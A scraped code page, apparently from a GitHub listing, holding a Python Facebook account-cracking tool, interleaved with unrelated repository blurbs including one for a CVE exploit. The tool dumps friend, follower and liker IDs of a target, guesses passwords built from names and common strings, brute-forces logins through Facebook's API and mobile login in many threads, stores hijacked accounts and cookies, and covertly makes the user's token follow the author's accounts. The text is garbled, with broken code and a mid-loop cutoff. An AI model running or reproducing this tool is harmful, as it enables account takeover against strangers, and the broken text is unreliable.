_menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
deadsnakes / Python3.11No description available
lainsec / RchanFull imageboard engine, written with python3.11, with realtime posts using socketIO.
Eminjan / Music App🎶基于Python3.6+django1.11的音乐网站,附带视频播放,响应式设计,支持评论,收藏和查看历史播放记录。
camopel / Isaacsim Ros2 Python3.11ROS 2 Humble workspace with Python 3.11 support
ajdumanhug / CVE 2023 46818CVE-2023-46818 Python3 Exploit for ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability
ToruNiina / LibasdC++11/Python3 library to read/write High Speed AFM data file
Mulan-Szechuan-Sauce / JavelinPython3 to C++11 transpiler written in C++
ahmar00987 / Ahsam#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------.(_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. |%s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) 